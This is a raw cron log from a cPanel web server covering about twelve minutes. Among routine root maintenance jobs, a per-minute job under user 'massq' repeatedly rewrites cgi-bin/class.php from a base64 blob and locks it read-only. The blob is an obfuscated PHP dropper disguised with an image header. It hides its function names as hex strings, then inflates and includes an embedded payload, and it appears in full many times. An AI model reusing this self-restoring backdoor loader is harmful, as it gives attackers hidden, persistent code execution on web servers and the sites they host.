Aug 30 20:28:01 server CROND[20800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:29:01 server CROND[21236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:29:01 server CROND[21237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:29:01 server CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:30:01 server CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:30:01 server CROND[21634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:30:01 server CROND[21635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:30:01 server CROND[21640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:30:01 server CROND[21642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:30:01 server CROND[21641]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 20:30:01 server CROND[21643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:30:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:30:01 server CROND[21647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:31:01 server CROND[22595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:31:01 server CROND[22596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:31:01 server CROND[22597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:32:01 server CROND[23142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:32:01 server CROND[23143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:32:01 server CROND[23144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:33:01 server CROND[23641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:33:01 server CROND[23640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:33:01 server CROND[23642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:34:01 server CROND[24033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:34:01 server CROND[24034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:34:01 server CROND[24035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:35:01 server CROND[24424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:35:01 server CROND[24426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:35:01 server CROND[24427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:35:01 server CROND[24433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:35:01 server CROND[24434]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 20:35:01 server CROND[24435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:35:01 server CROND[24432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:35:01 server CROND[24431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:35:01 server CROND[24430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:36:01 server CROND[25291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:36:01 server CROND[25293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:36:01 server CROND[25292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:37:01 server CROND[25657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:37:01 server CROND[25658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:37:01 server CROND[25659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:38:01 server CROND[26125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:38:01 server CROND[26126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:38:01 server CROND[26127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:39:01 server CROND[26502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:39:01 server CROND[26504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:39:01 server CROND[26503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:39:01 server CROND[26505]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 20:40:01 server CROND[26903]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:40:01 server CROND[26906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:40:01 server CROND[26907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
